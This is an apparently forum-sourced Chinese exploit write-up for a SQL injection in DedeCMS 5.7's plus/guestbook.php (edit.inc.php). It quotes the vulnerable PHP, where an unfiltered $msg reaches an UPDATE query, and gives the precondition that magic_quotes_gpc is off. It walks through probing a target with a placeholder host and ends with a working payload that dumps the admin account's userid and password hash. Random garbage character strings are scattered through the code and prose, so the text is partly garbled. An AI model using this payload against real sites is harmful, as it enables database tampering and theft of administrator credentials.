dedecms5.7最新sql注射漏洞利用 guestbook.php

admin

影响版本为5.7

& U2 C1 C2 z* U  k6 L3 @漏洞文件edit.inc.php具体代码：

0 ^% b$ {: ]2 ^( y% n< ?php  

3 G9 p8 J8 `% ]$ _" J  Mif(!defined('DEDEINC')) exit('Request Error!');  
: G) R+ a  }. Q0 U  F0 Q
5 }& |1 G. @! J& f( e2 o9 t7 V$ b# p# E   
: G, v, r$ y& e, M( p; v" C( j9 J
if(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];  

else $GUEST_BOOK_POS = "guestbook.php";  
) G) `8 x* @# H/ c2 N
: [; ~6 X' y/ E   
. h7 K, `" V7 {6 h& V
$id = intval($id);  
$ L+ j  b/ `) b
if(empty($job)) $job='view';  

   

if($job=='del' && $g_isadmin)  

{  
$ G, Y  g1 Z9 _' l0 D! C
0 Z3 H) b9 s; S/ E$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");  
- [6 |, @0 ~* w( I1 v
ShowMsg("成功删除一条留言！", $GUEST_BOOK_POS);  
$ c( j  E3 T. r' F0 W) C- Y
exit();  
% R/ _8 S9 W+ l  Z
4 ^* y' A- a3 [9 i2 W}  

else if($job=='check' && $g_isadmin)  

{  
8 {, r! y6 x6 b, S+ n* I
$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");  

5 v9 d+ G$ x" ]. u$ Q* G  ?ShowMsg("成功审核一条留言！", $GUEST_BOOK_POS);  
, x. Q2 a& y$ j7 V. z3 d% K
exit();  
; f5 v- z5 k( J2 J. }
7 L! I6 x, F/ o}  

else if($job=='editok')  

{  

$remsg = trim($remsg);  
" K: h- V$ o6 P# b0 l
3 B: y2 |% C: w: y- c0 a+ Dif($remsg!='')  
7 Y+ `$ e- H1 ~1 m- ~
{  
4 ^, b; c$ D, H2 {4 G+ b! j4 r
. t( U5 i4 A2 E' m& i//管理员回复不过滤HTML By:Errorera blog:errs.cc  

7 x& G. |6 @# P+ Eif($g_isadmin)  

{  

$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;  

//$remsg <br /><font color=red>管理员回复：</font> }  

+ a( f0 U% @3 X  W8 o0 Velse

{  

& v5 Y* h+ p3 v5 i* t* M* O$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");  
2 f4 h  P7 Q  m8 x1 e! B5 h2 G
2 a2 Z- g0 d8 A+ R2 J$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";  

$remsg = trimMsg(cn_substrR($remsg, 1024), 1);  
& `: M# ^* f8 J
3 l- i0 V, z9 j4 N( Z8 g# r- a$msg = $oldmsg.$remsg;  
9 N/ W7 j3 p: F
}  

}  
& V0 j- m6 q1 O; m
5 S# v% u+ F1 P2 s5 I0 u2 w1 Z. [' n//这里没有对$msg过滤，导致可以任意注入了By:Errorera home:www.errs.cc  

! Q# {$ H1 s; c  B1 f3 K$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");  

ShowMsg("成功更改或回复一条留言！", $GUEST_BOOK_POS);  

exit();  

* n6 O2 y; c' K/ b; o4 Y5 u! e! ^( x}  

0 m" l  c9 v$ B//home:www.errs.cc  

if($g_isadmin)  
$ J: v. X% G; W9 \( Z! ]! U
{  
4 t: a9 m/ C, k9 E, A4 k+ G9 t& o
$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");  

require_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');  

  d- ?- o. ?3 C1 |}  
3 S1 i1 ]' {% `6 o" [. c  z, r
else
8 }& t9 F3 A1 W
& o' u' L' N1 U; N6 R{  
, V! s+ e& W7 F3 f8 A2 G
$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");  

require_once(DEDETEMPLATE.'/plus/guestbook-user.htm');  
9 |0 [, r$ s4 p3 G
} 漏洞成功需要条件：
1. php magic_quotes_gpc=off
2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。
+ z+ f8 u4 U) m6 N9 {" \
怎么判断是否存在漏洞：
先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言，
然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID
访问：
1 J2 e9 B6 f: K& v! j& _
www.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了
# W  v1 @7 O" j- u跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证
$ B/ T6 l+ i  k+ b6 i$ x

明漏洞无法利用应为他开启了 php magic_quotes_gpc=off
如果没有修改成功，那留言ID的内容还是以前的 那就证明漏洞可以利用。
% O9 ]) _$ B$ }2 u1 R9 z# Q那么再次访问
' h0 E9 j; U) C' [
) N* V& \* R. g# N  ?4 q; M0 hwww.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回，那条留言ID的内容就直接修改成了mysql 的user().
- g. N; z& a& @7 b+ J) w0 A
1 R& q3 b/ w; ]/ l大概利用就是这样，大家有兴趣的多研究下！！
0 o; t# q4 ^% r8 e$ T. h
0 X6 d" J+ V! G最后补充下，估计有人会说怎么暴管理后台帐户密码，你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)！！
6 X+ ?6 M; v6 v( i# w3 g/ m/ ?
& t  }8 R6 y, i9 w* Zview sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email='